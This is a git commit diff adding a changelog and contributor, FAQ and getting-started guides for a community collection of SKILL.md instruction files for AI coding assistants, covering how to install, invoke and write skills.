docs: bump version to 2.11.0 and update changelog

- Adds `skills/postgres-best-practices/`: A new skill containing comprehensive Postgres performance optimization rules and guidelines from Supabase.
- The skill includes rules for query performance, connection management, security (RLS), and schema design.
- Updates `README.md` to include the new skill in the directory.

.gitignore

@@ -0,0 +1,6 @@
+
+
+walkthrough.md
+.agent/rules/
+.gemini/
+LOCAL_CONFIG.md

CHANGELOG.md

@@ -0,0 +1,229 @@
+# Changelog
+
+All notable changes to the **Antigravity Awesome Skills** collection are documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+---
+
+---
+
+## [2.11.0] - 2026-01-23 - "Postgres Performance"
+
+### Added
+
+- **New Skill**:
+  - `postgres-best-practices`: Comprehensive Supabase PostgreSQL performance optimization guide with 30+ rules covering query performance, connection management, RLS security, schema design, locking, and monitoring.
+
+### Changed
+
+- **Official Sources**: Added [supabase/agent-skills](https://github.com/supabase/agent-skills) to Credits & Sources.
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry (Total: 239 skills).
+
+### Contributors
+
+- [@ar27111994](https://github.com/ar27111994) - PR #19
+
+---
+
+## [2.10.0] - 2026-01-22 - "Developer Excellence"
+
+### Added
+
+- **New Skills**:
+  - `api-security-best-practices`: Comprehensive guide for secure API design and defense.
+  - `environment-setup-guide`: Systematic approach to project onboarding and tool configuration.
+  - `web-performance-optimization`: Methodologies for optimizing Core Web Vitals and loading speed.
+
+### Changed
+
+- **Enhanced Skill**:
+  - `code-review-checklist`: Replaced with a much more detailed and systematic version covering functionality, security, and quality.
+
+### Fixed
+
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry (Total: 238 skills).
+
+### Added
+
+- **Automation Support**:
+  - `scripts/update_readme.py`: Automated script to sync skill counts and regenerate the registry table.
+  - Updated `MAINTENANCE.md` to reflect the new automated workflow.
+- **Repository Quality**:
+  - `MAINTENANCE.md` is now tracked in the repository (removed from `.gitignore`).
+  - Improved contribution guidelines.
+
+## [2.8.0] - 2026-01-22 - "Documentation Power"
+
+### Added
+
+- **API Documentation Generator**: New skill to automatically generate comprehensive API documentation (`skills/api-documentation-generator`).
+- **Remotion Best Practices**: 28 modular rules for programmatic video creation (`skills/remotion-best-practices`).
+
+## [2.7.0] - 2026-01-22 - "Agent Memory"
+
+### Added
+
+- **Agent Memory MCP**: New skill providing persistent, searchable knowledge management for AI agents (`skills/agent-memory-mcp`).
+
+### Changed
+
+- **Renamed Skill**: `agent-memory` was renamed to `agent-memory-mcp` to avoid naming conflicts.
+
+---
+
+## [2.6.0] - 2026-01-21 - "Everything Skills Edition"
+
+### Added
+
+- **8 Verified Skills** from [affaan-m/everything-claude-code](https://github.com/affaan-m/everything-claude-code):
+  - `cc-skill-backend-patterns`
+  - `cc-skill-clickhouse-io`
+  - `cc-skill-coding-standards`
+  - `cc-skill-continuous-learning`
+  - `cc-skill-frontend-patterns`
+  - `cc-skill-project-guidelines-example`
+  - `cc-skill-security-review`
+  - `cc-skill-strategic-compact`
+- **Documentation**: New `WALKTHROUGH.md` for import process details.
+
+### Changed
+
+- **Skill Cleanup**: Removed 27 unwanted agents, commands, and rules from the `everything-claude-code` import to focus strictly on skills.
+- **Index**: Regenerated `skills_index.json` (Total: 233 skills).
+- **Credits**: Updated README credits and registry.
+
+## [1.0.0] - 2026-01-19 - "Marketing Edition"
+
+### Added
+
+- **23 Marketing & Growth skills** from [coreyhaines31/marketingskills](https://github.com/coreyhaines31/marketingskills):
+  - **CRO**: `page-cro`, `signup-flow-cro`, `onboarding-cro`, `form-cro`, `popup-cro`, `paywall-upgrade-cro`
+  - **Content**: `copywriting`, `copy-editing`, `email-sequence`
+  - **SEO**: `seo-audit`, `programmatic-seo`, `schema-markup`, `competitor-alternatives`
+  - **Paid**: `paid-ads`, `social-content`
+  - **Growth**: `referral-program`, `launch-strategy`, `free-tool-strategy`
+  - **Analytics**: `ab-test-setup`, `analytics-tracking`
+  - **Strategy**: `pricing-strategy`, `marketing-ideas`, `marketing-psychology`
+- New "Marketing & Growth" category in Features table
+
+### Changed
+
+- Total skills count: **179**
+
+---
+
+## [0.7.0] - 2026-01-19 - "Education Edition"
+
+### Added
+
+- **Moodle External API Development** skill via PR #6
+- Comprehensive Moodle LMS web service API development
+
+### Changed
+
+- Total skills count: **156**
+
+---
+
+## [0.6.0] - 2026-01-19 - "Vibeship Integration"
+
+### Added
+
+- **57 skills** from [vibeforge1111/vibeship-spawner-skills](https://github.com/vibeforge1111/vibeship-spawner-skills):
+  - AI Agents category (~30 skills)
+  - Integrations & APIs (~25 skills)
+  - Maker Tools (~11 skills)
+- Alphabetically sorted skill registry
+
+### Changed
+
+- Total skills count: **155**
+
+---
+
+## [0.5.0] - 2026-01-18 - "Agent Manager"
+
+### Added
+
+- **Agent Manager Skill** - Multi-agent orchestration via tmux
+- Major repository expansion with community contributions
+
+### Changed
+
+- Total skills count: **131**
+
+---
+
+## [0.4.0] - 2026-01-18 - "Security Fortress"
+
+### Added
+
+- **60+ Cybersecurity skills** from [zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide):
+  - Ethical Hacking Methodology
+  - Metasploit Framework
+  - Burp Suite Testing
+  - SQLMap, Active Directory, AWS Pentesting
+  - OWASP Top 100 Vulnerabilities
+  - Red Team Tools
+- `claude-code-guide` skill
+
+### Changed
+
+- Total skills count: ~90
+
+---
+
+## [0.3.0] - 2026-01-17 - "First Stable Registry"
+
+### Added
+
+- Complete skill registry table in README
+- GitHub workflow automation
+- SEO optimizations
+
+### Changed
+
+- Total skills count: **71**
+
+---
+
+## [0.2.0] - 2026-01-16 - "Official Skills"
+
+### Added
+
+- **Official Anthropic skills** integration
+- **Vercel Labs skills** integration
+- BlockRun: Agent Wallet for LLM Micropayments
+- 7 new skills from GitHub analysis
+
+### Changed
+
+- Total skills count: **~65**
+
+---
+
+## [0.1.0] - 2026-01-15 - "Initial Release"
+
+### Added
+
+- **58 core skills** aggregated from community:
+  - [obra/superpowers](https://github.com/obra/superpowers) - Original Superpowers
+  - [guanyang/antigravity-skills](https://github.com/guanyang/antigravity-skills) - Core extensions
+  - [diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase) - Infrastructure skills
+  - [ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase) - React UI patterns
+  - [travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills) - Loki Mode
+  - [alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills) - Senior Engineering
+- Universal **SKILL.md** format
+- Compatibility with Claude Code, Gemini CLI, Cursor, Copilot, Antigravity
+
+---
+
+## Credits
+
+See [README.md](README.md#credits--sources) for full attribution.
+
+## License
+
+MIT License - See [LICENSE](LICENSE) for details.

CONTRIBUTING.md

@@ -0,0 +1,401 @@
+# 🤝 Contributing Guide - Make It Easy for Everyone!
+
+**Thank you for wanting to make this repo better!** This guide shows you exactly how to contribute, even if you're new to open source.
+
+---
+
+## Ways to Contribute
+
+You don't need to be an expert! Here are ways anyone can help:
+
+### 1. Improve Documentation (Easiest!)
+- Fix typos or grammar
+- Make explanations clearer
+- Add examples to existing skills
+- Translate documentation to other languages
+
+### 2. Report Issues
+- Found something confusing? Tell us!
+- Skill not working? Let us know!
+- Have suggestions? We want to hear them!
+
+### 3. Create New Skills
+- Share your expertise as a skill
+- Fill gaps in the current collection
+- Improve existing skills
+
+### 4. Test and Validate
+- Try skills and report what works/doesn't work
+- Test on different AI tools
+- Suggest improvements
+
+---
+
+## How to Improve Documentation
+
+### Super Easy Method (No Git Knowledge Needed!)
+
+1. **Find the file** you want to improve on GitHub
+2. **Click the pencil icon** (✏️) to edit
+3. **Make your changes** in the browser
+4. **Click "Propose changes"** at the bottom
+5. **Done!** We'll review and merge it
+
+### Using Git (If You Know How)
+
+```bash
+# 1. Fork the repo on GitHub (click the Fork button)
+
+# 2. Clone your fork
+git clone https://github.com/YOUR-USERNAME/antigravity-awesome-skills.git
+cd antigravity-awesome-skills
+
+# 3. Create a branch
+git checkout -b improve-docs
+
+# 4. Make your changes
+# Edit files in your favorite editor
+
+# 5. Commit and push
+git add .
+git commit -m "docs: make XYZ clearer"
+git push origin improve-docs
+
+# 6. Open a Pull Request on GitHub
+```
+
+---
+
+## How to Create a New Skill
+
+### What Makes a Good Skill?
+
+A skill should:
+- ✅ Solve a specific problem
+- ✅ Be reusable across projects
+- ✅ Have clear instructions
+- ✅ Include examples when possible
+
+### Step-by-Step: Create Your First Skill
+
+#### Step 1: Choose Your Skill Topic
+
+Ask yourself:
+- What am I good at?
+- What do I wish my AI assistant knew better?
+- What task do I do repeatedly?
+
+**Examples:**
+- "I'm good at Docker, let me create a Docker skill"
+- "I wish AI understood Tailwind better"
+- "I keep setting up the same testing patterns"
+
+#### Step 2: Create the Folder Structure
+
+```bash
+# Navigate to the skills directory
+cd skills/
+
+# Create your skill folder (use lowercase with hyphens)
+mkdir my-awesome-skill
+
+# Create the SKILL.md file
+cd my-awesome-skill
+touch SKILL.md
+```
+
+#### Step 3: Write Your SKILL.md
+
+Every skill needs this basic structure:
+
+```markdown
+---
+name: my-awesome-skill
+description: "Brief one-line description of what this skill does"
+---
+
+# Skill Title
+
+## Overview
+
+Explain what this skill does and when to use it.
+
+## When to Use This Skill
+
+- Use when [scenario 1]
+- Use when [scenario 2]
+- Use when [scenario 3]
+
+## How It Works
+
+### Step 1: [First Step]
+Explain what to do first...
+
+### Step 2: [Second Step]
+Explain the next step...
+
+### Step 3: [Final Step]
+Explain how to finish...
+
+## Examples
+
+### Example 1: [Common Use Case]
+\`\`\`
+Show example code or commands here
+\`\`\`
+
+### Example 2: [Another Use Case]
+\`\`\`
+More examples...
+\`\`\`
+
+## Best Practices
+
+- ✅ Do this
+- ✅ Also do this
+- ❌ Don't do this
+- ❌ Avoid this
+
+## Common Pitfalls
+
+- **Problem:** Description of common issue
+  **Solution:** How to fix it
+
+## Additional Resources
+
+- [Link to documentation](https://example.com)
+- [Tutorial](https://example.com)
+```
+
+#### Step 4: Test Your Skill
+
+1. **Copy it to your AI tool's skills directory:**
+   ```bash
+   cp -r skills/my-awesome-skill ~/.agent/skills/
+   ```
+
+2. **Try using it:**
+   ```
+   @my-awesome-skill help me with [task]
+   ```
+
+3. **Does it work?** Great! If not, refine it.
+
+#### Step 5: Validate Your Skill
+
+Run the validation script:
+
+```bash
+python3 scripts/validate_skills.py
+```
+
+This checks:
+- ✅ SKILL.md exists
+- ✅ Frontmatter is correct
+- ✅ Name matches folder name
+- ✅ Description exists
+
+#### Step 6: Submit Your Skill
+
+```bash
+# 1. Add your skill
+git add skills/my-awesome-skill/
+
+# 2. Commit with a clear message
+git commit -m "feat: add my-awesome-skill for [purpose]"
+
+# 3. Push to your fork
+git push origin my-branch
+
+# 4. Open a Pull Request on GitHub
+```
+
+---
+
+## Skill Template (Copy & Paste)
+
+Save time! Copy this template:
+
+```markdown
+---
+name: your-skill-name
+description: "One sentence describing what this skill does and when to use it"
+---
+
+# Your Skill Name
+
+## Overview
+
+[2-3 sentences explaining what this skill does]
+
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when you want to [scenario 2]
+- Use when working with [scenario 3]
+
+## Core Concepts
+
+### Concept 1
+[Explain key concept]
+
+### Concept 2
+[Explain another key concept]
+
+## Step-by-Step Guide
+
+### 1. [First Step Name]
+[Detailed instructions]
+
+### 2. [Second Step Name]
+[Detailed instructions]
+
+### 3. [Third Step Name]
+[Detailed instructions]
+
+## Examples
+
+### Example 1: [Use Case Name]
+\`\`\`language
+// Example code here
+\`\`\`
+
+**Explanation:** [What this example demonstrates]
+
+### Example 2: [Another Use Case]
+\`\`\`language
+// More example code
+\`\`\`
+
+**Explanation:** [What this example demonstrates]
+
+## Best Practices
+
+- ✅ **Do:** [Good practice]
+- ✅ **Do:** [Another good practice]
+- ❌ **Don't:** [What to avoid]
+- ❌ **Don't:** [Another thing to avoid]
+
+## Troubleshooting
+
+### Problem: [Common Issue]
+**Symptoms:** [How you know this is the problem]
+**Solution:** [How to fix it]
+
+### Problem: [Another Issue]
+**Symptoms:** [How you know this is the problem]
+**Solution:** [How to fix it]
+
+## Related Skills
+
+- `@related-skill-1` - [When to use this instead]
+- `@related-skill-2` - [How this complements your skill]
+
+## Additional Resources
+
+- [Official Documentation](https://example.com)
+- [Tutorial](https://example.com)
+- [Community Guide](https://example.com)
+```
+
+---
+
+## How to Report Issues
+
+### Found a Bug?
+
+1. **Check existing issues** - Maybe it's already reported
+2. **Open a new issue** with this info:
+   - What skill has the problem?
+   - What AI tool are you using?
+   - What did you expect to happen?
+   - What actually happened?
+   - Steps to reproduce
+
+### Found Something Confusing?
+
+1. **Open an issue** titled: "Documentation unclear: [topic]"
+2. **Explain:**
+   - What part is confusing?
+   - What did you expect to find?
+   - How could it be clearer?
+
+---
+
+## Contribution Checklist
+
+Before submitting your contribution:
+
+- [ ] My skill has a clear, descriptive name
+- [ ] The `SKILL.md` has proper frontmatter (name + description)
+- [ ] I've included examples
+- [ ] I've tested the skill with an AI assistant
+- [ ] I've run `python3 scripts/validate_skills.py`
+- [ ] My commit message is clear (e.g., "feat: add docker-compose skill")
+- [ ] I've checked for typos and grammar
+
+---
+
+## Commit Message Guidelines
+
+Use these prefixes:
+
+- `feat:` - New skill or major feature
+- `docs:` - Documentation improvements
+- `fix:` - Bug fixes
+- `refactor:` - Code improvements without changing functionality
+- `test:` - Adding or updating tests
+- `chore:` - Maintenance tasks
+
+**Examples:**
+```
+feat: add kubernetes-deployment skill
+docs: improve getting started guide
+fix: correct typo in stripe-integration skill
+docs: add examples to react-best-practices
+```
+
+---
+
+## Learning Resources
+
+### New to Git/GitHub?
+- [GitHub's Hello World Guide](https://guides.github.com/activities/hello-world/)
+- [Git Basics](https://git-scm.com/book/en/v2/Getting-Started-Git-Basics)
+
+### New to Markdown?
+- [Markdown Guide](https://www.markdownguide.org/basic-syntax/)
+- [GitHub Markdown](https://guides.github.com/features/mastering-markdown/)
+
+### New to Open Source?
+- [First Contributions](https://github.com/firstcontributions/first-contributions)
+- [How to Contribute to Open Source](https://opensource.guide/how-to-contribute/)
+
+---
+
+## Need Help?
+
+- **Questions?** Open a [Discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions)
+- **Stuck?** Open an [Issue](https://github.com/sickn33/antigravity-awesome-skills/issues)
+- **Want feedback?** Open a [Draft Pull Request](https://github.com/sickn33/antigravity-awesome-skills/pulls)
+
+---
+
+## Recognition
+
+All contributors are recognized in our [Contributors](https://github.com/sickn33/antigravity-awesome-skills/graphs/contributors) page!
+
+---
+
+## Code of Conduct
+
+- Be respectful and inclusive
+- Welcome newcomers
+- Focus on constructive feedback
+- Help others learn
+
+---
+
+**Thank you for making this project better for everyone!**
+
+Every contribution, no matter how small, makes a difference. Whether you fix a typo, improve a sentence, or create a whole new skill - you're helping thousands of developers!

FAQ.md

@@ -0,0 +1,556 @@
+# ❓ Frequently Asked Questions (FAQ)
+
+**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
+
+---
+
+## 🎯 General Questions
+
+### What are "skills" exactly?
+
+Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+
+**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), skills let your AI become an expert in different areas when you need them.
+
+---
+
+### Do I need to install all 233 skills?
+
+**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name` or `/skill-name`.
+
+It's like having a library - all the books are there, but you only read the ones you need.
+
+---
+
+### Which AI tools work with these skills?
+
+These skills work with any AI coding assistant that supports the `SKILL.md` format:
+
+- ✅ **Claude Code** (Anthropic CLI)
+- ✅ **Gemini CLI** (Google)
+- ✅ **Codex CLI** (OpenAI)
+- ✅ **Cursor** (AI IDE)
+- ✅ **Antigravity IDE**
+- ✅ **OpenCode**
+- ⚠️ **GitHub Copilot** (partial support)
+
+---
+
+### Are these skills free to use?
+
+**Yes!** This repository is licensed under MIT License, which means:
+
+- ✅ Free for personal use
+- ✅ Free for commercial use
+- ✅ You can modify them
+- ✅ You can redistribute them
+
+---
+
+### Do skills work offline?
+
+The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function. So:
+
+- ✅ Skills are local files
+- ❌ AI assistant needs internet
+
+---
+
+## Installation & Setup
+
+### Where should I install the skills?
+
+The universal path that works with most tools is `.agent/skills/`:
+
+```bash
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Tool-specific paths:**
+
+- Claude Code: `.claude/skills/` or `.agent/skills/`
+- Gemini CLI: `.gemini/skills/` or `.agent/skills/`
+- Cursor: `.cursor/skills/` or project root
+- Antigravity: `.agent/skills/`
+
+---
+
+### Can I install skills in multiple projects?
+
+**Yes!** You have two options:
+
+**Option 1: Global Installation** (recommended)
+Install once in your home directory, works for all projects:
+
+```bash
+cd ~
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Option 2: Per-Project Installation**
+Install in each project directory:
+
+```bash
+cd /path/to/your/project
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+---
+
+### How do I update skills to the latest version?
+
+Navigate to your skills directory and pull the latest changes:
+
+```bash
+cd .agent/skills
+git pull origin main
+```
+
+---
+
+### Can I install only specific skills?
+
+**Yes!** You can manually copy individual skill folders:
+
+```bash
+# Clone the full repo first
+git clone https://github.com/sickn33/antigravity-awesome-skills.git temp-skills
+
+# Copy only the skills you want
+mkdir -p .agent/skills
+cp -r temp-skills/skills/brainstorming .agent/skills/
+cp -r temp-skills/skills/stripe-integration .agent/skills/
+
+# Clean up
+rm -rf temp-skills
+```
+
+---
+
+## Using Skills
+
+### How do I invoke a skill?
+
+Use the `@` symbol followed by the skill name:
+
+```
+@skill-name your request here
+```
+
+**Examples:**
+
+```
+@brainstorming help me design a todo app
+@stripe-integration add subscription billing
+@systematic-debugging fix this test failure
+```
+
+Some tools also support `/skill-name` syntax.
+
+---
+
+### How do I know which skill to use?
+
+**Method 1: Browse the README**
+Check the [Full Skill Registry](README.md#full-skill-registry-233233) organized by category
+
+**Method 2: Search by keyword**
+
+```bash
+ls skills/ | grep "keyword"
+```
+
+**Method 3: Ask your AI**
+
+```
+What skills are available for [topic]?
+```
+
+---
+
+### Can I use multiple skills at once?
+
+**Yes!** You can invoke multiple skills in the same conversation:
+
+```
+@brainstorming help me design this feature
+
+[After brainstorming...]
+
+@test-driven-development now let's implement it with tests
+```
+
+---
+
+### What if a skill doesn't work?
+
+**Troubleshooting steps:**
+
+1. **Check installation path**
+
+   ```bash
+   ls .agent/skills/
+   ```
+
+2. **Verify skill exists**
+
+   ```bash
+   ls .agent/skills/skill-name/
+   ```
+
+3. **Check SKILL.md exists**
+
+   ```bash
+   cat .agent/skills/skill-name/SKILL.md
+   ```
+
+4. **Try restarting your AI assistant**
+
+5. **Check for typos in skill name**
+   - Use `@brainstorming` not `@brain-storming`
+   - Names are case-sensitive in some tools
+
+6. **Report the issue**
+   [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) with details
+
+---
+
+## 🤝 Contributing
+
+### I'm new to open source. Can I still contribute?
+
+**Absolutely!** Everyone starts somewhere. We welcome contributions from beginners:
+
+- Fix typos or grammar
+- Improve documentation clarity
+- Add examples to existing skills
+- Report issues or confusing parts
+
+Check out [CONTRIBUTING.md](CONTRIBUTING.md) for step-by-step instructions.
+
+---
+
+### Do I need to know how to code to contribute?
+
+**No!** Many valuable contributions don't require coding:
+
+- **Documentation improvements** - Make things clearer
+- **Examples** - Add real-world usage examples
+- **Issue reporting** - Tell us what's confusing
+- **Testing** - Try skills and report what works
+
+---
+
+### How do I create a new skill?
+
+**Quick version:**
+
+1. Create a folder: `skills/my-skill-name/`
+2. Create `SKILL.md` with frontmatter and content
+3. Test it with your AI assistant
+4. Run validation: `python3 scripts/validate_skills.py`
+5. Submit a Pull Request
+
+**Detailed version:** See [CONTRIBUTING.md](CONTRIBUTING.md)
+
+---
+
+### What makes a good skill?
+
+A good skill:
+
+- ✅ Solves a specific problem
+- ✅ Has clear, actionable instructions
+- ✅ Includes examples
+- ✅ Is reusable across projects
+- ✅ Follows the standard structure
+
+See [SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md) for details.
+
+---
+
+### How long does it take for my contribution to be reviewed?
+
+Review times vary, but typically:
+
+- **Simple fixes** (typos, docs): 1-3 days
+- **New skills**: 3-7 days
+- **Major changes**: 1-2 weeks
+
+You can speed this up by:
+
+- Following the contribution guidelines
+- Writing clear commit messages
+- Testing your changes
+- Responding to feedback quickly
+
+---
+
+## Technical Questions
+
+### What's the difference between SKILL.md and README.md?
+
+- **SKILL.md** (required): The actual skill definition that the AI reads
+- **README.md** (optional): Human-readable documentation about the skill
+
+The AI primarily uses `SKILL.md`, while developers read `README.md`.
+
+---
+
+### Can I use scripts or code in my skill?
+
+**Yes!** Skills can include:
+
+- `scripts/` - Helper scripts
+- `examples/` - Example code
+- `templates/` - Code templates
+- `references/` - Documentation
+
+Reference them in your `SKILL.md`:
+
+```markdown
+Run the setup script:
+\`\`\`bash
+bash scripts/setup.sh
+\`\`\`
+```
+
+---
+
+### What programming languages can skills cover?
+
+**Any language!** Current skills cover:
+
+- JavaScript/TypeScript
+- Python
+- Go
+- Rust
+- Swift
+- Kotlin
+- Shell scripting
+- And many more...
+
+---
+
+### Can skills call other skills?
+
+**Yes!** Skills can reference other skills:
+
+```markdown
+## Workflow
+
+1. First, use `@brainstorming` to design
+2. Then, use `@writing-plans` to plan
+3. Finally, use `@test-driven-development` to implement
+```
+
+---
+
+### How do I validate my skill before submitting?
+
+Run the validation script:
+
+```bash
+python3 scripts/validate_skills.py
+```
+
+This checks:
+
+- ✅ SKILL.md exists
+- ✅ Frontmatter is valid
+- ✅ Name matches folder name
+- ✅ Description exists
+
+---
+
+## Learning & Best Practices
+
+### Which skills should I try first?
+
+**For beginners:**
+
+- `@brainstorming` - Design before coding
+- `@systematic-debugging` - Fix bugs methodically
+- `@git-pushing` - Commit with good messages
+
+**For developers:**
+
+- `@test-driven-development` - Write tests first
+- `@react-best-practices` - Modern React patterns
+- `@senior-fullstack` - Full-stack development
+
+**For security:**
+
+- `@ethical-hacking-methodology` - Security basics
+- `@burp-suite-testing` - Web app testing
+
+---
+
+### How do I learn to write good skills?
+
+**Learning path:**
+
+1. **Read existing skills** - Study 5-10 well-written skills
+2. **Use skills** - Try them with your AI assistant
+3. **Read guides** - Check [SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md)
+4. **Start simple** - Create a basic skill first
+5. **Get feedback** - Submit and learn from reviews
+6. **Iterate** - Improve based on feedback
+
+**Recommended skills to study:**
+
+- `skills/brainstorming/SKILL.md` - Clear structure
+- `skills/systematic-debugging/SKILL.md` - Comprehensive
+- `skills/git-pushing/SKILL.md` - Simple and focused
+
+---
+
+### Are there any skills for learning AI/ML?
+
+**Yes!** Check out:
+
+- `@rag-engineer` - RAG systems
+- `@prompt-engineering` - Prompt design
+- `@langgraph` - Multi-agent systems
+- `@ai-agents-architect` - Agent architecture
+- `@llm-app-patterns` - LLM application patterns
+
+---
+
+## Troubleshooting
+
+### My AI assistant doesn't recognize skills
+
+**Possible causes:**
+
+1. **Wrong installation path**
+   - Check your tool's documentation for the correct path
+   - Try `.agent/skills/` as the universal path
+
+2. **Skill name typo**
+   - Verify the exact skill name: `ls .agent/skills/`
+   - Use the exact name from the folder
+
+3. **Tool doesn't support skills**
+   - Verify your tool supports the SKILL.md format
+   - Check the [Compatibility](#-compatibility) section
+
+4. **Need to restart**
+   - Restart your AI assistant after installing skills
+
+---
+
+### A skill gives incorrect or outdated advice
+
+**Please report it!**
+
+1. [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)
+2. Include:
+   - Which skill
+   - What's incorrect
+   - What should it say instead
+   - Links to correct documentation
+
+We'll update it quickly!
+
+---
+
+### Can I modify skills for my own use?
+
+**Yes!** The MIT License allows you to:
+
+- ✅ Modify skills for your needs
+- ✅ Create private versions
+- ✅ Customize for your team
+
+**To modify:**
+
+1. Copy the skill to a new location
+2. Edit the SKILL.md file
+3. Use your modified version
+
+**Consider contributing improvements back!**
+
+---
+
+## Statistics & Info
+
+### How many skills are there?
+
+**233 skills** across 10+ categories as of the latest update.
+
+---
+
+### How often are skills updated?
+
+- **Bug fixes**: As soon as reported
+- **New skills**: Added regularly by contributors
+- **Updates**: When best practices change
+
+**Stay updated:**
+
+```bash
+cd .agent/skills
+git pull origin main
+```
+
+---
+
+### Who maintains this repository?
+
+This is a community-driven project with contributions from:
+
+- Original creators
+- Open source contributors
+- AI coding assistant users worldwide
+
+See [Credits & Sources](README.md#credits--sources) for attribution.
+
+---
+
+## Still Have Questions?
+
+### Where can I get help?
+
+- **[GitHub Discussions](https://github.com/sickn33/antigravity-awesome-skills/discussions)** - Ask questions
+- **[GitHub Issues](https://github.com/sickn33/antigravity-awesome-skills/issues)** - Report bugs
+- **Documentation** - Read the guides in this repo
+- **Community** - Connect with other users
+
+---
+
+### How can I stay updated?
+
+- **Star the repository** on GitHub
+- **Watch the repository** for updates
+- **Subscribe to releases** for notifications
+- **Follow contributors** on social media
+
+---
+
+### Can I use these skills commercially?
+
+**Yes!** The MIT License permits commercial use. You can:
+
+- ✅ Use in commercial projects
+- ✅ Use in client work
+- ✅ Include in paid products
+- ✅ Modify for commercial purposes
+
+**Only requirement:** Keep the license notice.
+
+---
+
+## 💡 Pro Tips
+
+- Start with `@brainstorming` before building anything new
+- Use `@systematic-debugging` when stuck on bugs
+- Try `@test-driven-development` for better code quality
+- Explore `@skill-creator` to make your own skills
+- Read skill descriptions to understand when to use them
+
+---
+
+**Question not answered?**
+
+[Open a discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions) and we'll help you out! 🙌

GETTING_STARTED.md

@@ -0,0 +1,231 @@
+# Getting Started with Antigravity Awesome Skills
+
+**New here? This guide will help you understand and use this repository in 5 minutes!**
+
+---
+
+## 🤔 What Are "Skills"?
+
+Think of skills as **specialized instruction manuals** for AI coding assistants.
+
+**Simple analogy:** Just like you might hire different experts (a designer, a security expert, a marketer), these skills let your AI assistant become an expert in specific areas when you need them.
+
+---
+
+## 📦 What's Inside This Repository?
+
+This repo contains **233 ready-to-use skills** organized in the `skills/` folder. Each skill is a folder with at least one file: `SKILL.md`
+
+```
+skills/
+├── brainstorming/
+│   └── SKILL.md          ← The skill definition
+├── stripe-integration/
+│   └── SKILL.md
+├── react-best-practices/
+│   └── SKILL.md
+└── ... (176 more skills)
+```
+
+---
+
+## How Do Skills Work?
+
+### Step 1: Install Skills
+
+Copy the skills to your AI tool's directory:
+
+```bash
+# For most AI tools (Claude Code, Gemini CLI, etc.)
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+### Step 2: Use a Skill
+
+In your AI chat, mention the skill:
+
+```
+@brainstorming help me design a todo app
+```
+
+or
+
+```
+/stripe-integration add payment processing to my app
+```
+
+### Step 3: The AI Becomes an Expert
+
+The AI loads that skill's knowledge and helps you with specialized expertise!
+
+---
+
+## Which AI Tools Work With This?
+
+| Tool                | Works?     | Installation Path                     |
+| ------------------- | ---------- | ------------------------------------- |
+| **Claude Code**     | ✅ Yes     | `.claude/skills/` or `.agent/skills/` |
+| **Gemini CLI**      | ✅ Yes     | `.gemini/skills/` or `.agent/skills/` |
+| **Cursor**          | ✅ Yes     | `.cursor/skills/`                     |
+| **GitHub Copilot**  | ⚠️ Partial | Copy to `.github/copilot/`            |
+| **Antigravity IDE** | ✅ Yes     | `.agent/skills/`                      |
+
+---
+
+## Skill Categories (Simplified)
+
+### **Creative & Design** (10 skills)
+
+Make beautiful things: UI design, art, themes, web components
+
+- Try: `@frontend-design`, `@canvas-design`, `@ui-ux-pro-max`
+
+### **Development** (25 skills)
+
+Write better code: testing, debugging, React patterns, architecture
+
+- Try: `@test-driven-development`, `@systematic-debugging`, `@react-best-practices`
+
+### **Security** (50 skills)
+
+Ethical hacking and penetration testing tools
+
+- Try: `@ethical-hacking-methodology`, `@burp-suite-testing`
+
+### **AI & Agents** (30 skills)
+
+Build AI apps: RAG, LangGraph, prompt engineering, voice agents
+
+- Try: `@rag-engineer`, `@prompt-engineering`, `@langgraph`
+
+### **Documents** (4 skills)
+
+Work with Word, Excel, PowerPoint, PDF files
+
+- Try: `@docx-official`, `@xlsx-official`, `@pdf-official`
+
+### **Marketing** (23 skills)
+
+Grow your product: SEO, copywriting, ads, email campaigns
+
+- Try: `@copywriting`, `@seo-audit`, `@page-cro`
+
+### **Integrations** (25 skills)
+
+Connect to services: Stripe, Firebase, Twilio, Discord, Slack
+
+- Try: `@stripe-integration`, `@firebase`, `@clerk-auth`
+
+---
+
+## Your First Skill: A Quick Example
+
+Let's try the **brainstorming** skill:
+
+1. **Open your AI assistant** (Claude Code, Cursor, etc.)
+
+2. **Type this:**
+
+   ```
+   @brainstorming I want to build a simple weather app
+   ```
+
+3. **What happens:**
+   - The AI loads the brainstorming skill
+   - It asks you questions one at a time
+   - It helps you design the app before coding
+   - It creates a design document for you
+
+4. **Result:** You get a well-thought-out plan instead of jumping straight to code!
+
+---
+
+## How to Find the Right Skill
+
+### Method 1: Browse by Category
+
+Check the [Full Skill Registry](README.md#full-skill-registry-233233) in the main README
+
+### Method 2: Search by Keyword
+
+Use your file explorer or terminal:
+
+```bash
+# Find skills related to "testing"
+ls skills/ | grep test
+
+# Find skills related to "auth"
+ls skills/ | grep auth
+```
+
+### Method 3: Look at the Index
+
+Check `skills_index.json` for a machine-readable list
+
+---
+
